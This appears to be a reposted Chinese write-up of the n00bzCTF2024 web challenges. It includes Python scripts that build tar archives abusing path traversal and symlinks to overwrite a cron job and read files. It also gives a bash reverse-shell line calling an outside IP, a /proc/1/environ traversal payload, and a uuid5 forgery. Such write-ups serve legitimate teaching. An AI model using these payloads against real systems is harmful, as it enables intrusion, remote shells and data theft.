【Web】复现n00bzCTF2024 web题解(全)

news/2024/10/8 21:08:30/

目录

File Sharing Portal 

方法一:

方法二:

Focus-on-yourSELF

Passwordless


File Sharing Portal 

附件的Dockerfile给了这么一段

# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
  • 创建目录/etc/cron.custom 用于存储自定义的 cron 任务。
  • 定义清理任务:每 5 分钟清理 /app/uploads/ 目录下的文件,写入到 /etc/cron.custom/cleanup-cron 文件中。
  • 在 crontab 中注册:将 /etc/cron.custom 目录中的任务每分钟运行一次,run-parts 会执行目录下的所有脚本。
  • 赋予执行权限:给 cron 脚本执行权限。
  • 安装到 crontab:通过 crontab 命令安装任务到系统中。

那么我们可以用恶意文件覆盖/etc/cron.custom/cleanup-cron

注意到flag在/app下

COPY REDACTED.txt /app/
# The flag file is redacted on purpose

题目源码存在目录穿越漏洞 

tar_file.extractall():解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。

先用路径穿越覆盖/etc/cron.custom/cleanup-cron

方法一:

cronjob.txt

#!/bin/bash
ls /app/ > /app/ls.txt

再给777权限

chmod 777 cronjob.txt

 生成一个恶意的tar文件,上传

import tarfile
import os# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

再用软链接读/app/ls.txt

ln -s /app/ls.txt dummy.txt

生成tar包,上传

import tarfiledef create_tar_with_symlinks(tar_path, path):with tarfile.open(tar_path, 'w') as tar:tar.add(path, arcname=path)create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`

 读dummy.txt得到flag文件名

/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt

 

rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt
import tarfiledef create_tar_with_symlinks(tar_path, path):with tarfile.open(tar_path, 'w') as tar:tar.add(path, arcname=path)create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!

同理上传生成的tar,读dummy.txt拿到flag

方法二:

 cronjob.txt直接写反弹shell

#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"

再生成恶意tar包,上传

import tarfile
import os# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

成功反弹shell

翻目录拿flag

 

Focus-on-yourSELF

点击View会显示一张图片

注意到url存在文件包含点

尝试打目录穿越

payload:

/view?image=../../../../../../../../../proc/1/environ

 

base64解码拿到flag

Passwordless

 源码

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leetapp = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')@app.route('/',methods=['GET','POST'])
def main():global usernameif request.method == 'GET':return render_template('index.html')elif request.method == 'POST':username = request.values['username']if username == 'admin123':return 'Stop trying to act like you are the admin!'uid = uuid.uuid5(leet,username) # super secure!return redirect(f'/{uid}')@app.route('/<uid>')
def user_page(uid):if uid != str(uuid.uuid5(leet,'admin123')):return f'Welcome! No flag for you :('else:return flagif __name__ == '__main__':app.run(host='0.0.0.0', port=1337)

自己生成给定命名空间下admin123的uuid即可

import uuid# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c

访问./3c68e6cc-15a7-59d4-823c-e7563bbb326c拿到flag 


http://www.ppmy.cn/news/1536296.html

相关文章

C++11--默认成员函数控制 模板的可变参数

默认成员函数 之前学习C类中&#xff0c;有6个默认成员函数&#xff1a; 构造函数析构函数拷贝构造函数拷贝赋值重载取地址重载const 取地址重载 最重要的是前4个&#xff0c;默认成员函数就是我们不写编译器会生成一个默认的。在C11中新增了两个函数&#xff1a;移动构造函…

苹果盛宴:iPhone 16系列领衔,智能穿戴新潮流来袭

在科技界备受瞩目的苹果秋季发布会上&#xff0c;众多新品悉数亮相&#xff0c;从全新的Apple Watch系列到AirPods系列&#xff0c;再到备受期待的iPhone 16系列&#xff0c;每一款产品都以其独特的创新和卓越的性能&#xff0c;再次定义了智能设备的高标准。 本文将带您领略这…

UE5数字人制作平台使用及3D模型生成

第10章 数字人制作平台使用及3D模型生成 在数字娱乐、虚拟现实&#xff08;VR&#xff09;、增强现实&#xff08;AR&#xff09;等领域&#xff0c;高质量的3D模型是数字内容创作的核心。本章将引导你了解如何使用UE5&#xff08;Unreal Engine 5&#xff09;虚幻引擎这一强大…

scaling 的作用

scaling 控制适应程度指的是对原始模型权重的修改幅度。让我用具体例子解释&#xff1a; 假设我们有一个原始的权重矩阵&#xff1a; 原始权重 [[1000, 2000],[3000, 4000]]现在看两种不同的 scaling 值如何影响更新&#xff1a; 当 scaling 2 (alpha8, r4) 时&#xff1a…

Redis-预热雪崩击穿穿透

预热雪崩穿透击穿 缓存预热 缓存雪崩 有这两种原因 redis key 永不过期or过期时间错开redis 缓存集群实现高可用 主从哨兵Redis Cluster开启redis持久化aof&#xff0c;rdb&#xff0c;尽快恢复集群 多缓存结合预防雪崩&#xff1a;本地缓存 ehcache redis 缓存服务降级&…

如何制作一个企业网站,建设网站的基本步骤有哪些?

企业网站是企业的门面和名片&#xff0c;决定网民对企业的第一印象&#xff0c;因此&#xff0c;现在很多公司想做一个属于自己网站&#xff0c;但是不知道怎么做&#xff0c;更不知道从何做起&#xff0c;更别说做成了。为了能够让大家清楚如何做一个企业网站&#xff0c;现在…

前端练习小项目 —— 让图片变得更 “色”

前言&#xff1a;相信读者在学习完了HTML、CSS和JavaScript之后已经想要迫不及待的想找一个小型的项目来练练手&#xff0c;那么这篇文章就正好能满足你的 “需求”。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我的主页秋刀鱼不做梦-CSDN博客 在开始学习…

【项目安全设计】软件系统安全设计规范和标准(doc原件)

1.1安全建设原则 1.2 安全管理体系 1.3 安全管理规范 1.4 数据安全保障措施 1.4.1 数据库安全保障 1.4.2 操作系统安全保障 1.4.3 病毒防治 1.5安全保障措施 1.5.1实名认证保障 1.5.2 接口安全保障 1.5.3 加密传输保障 1.5.4终端安全保障 资料获取&#xff1a;私信或者进主页。…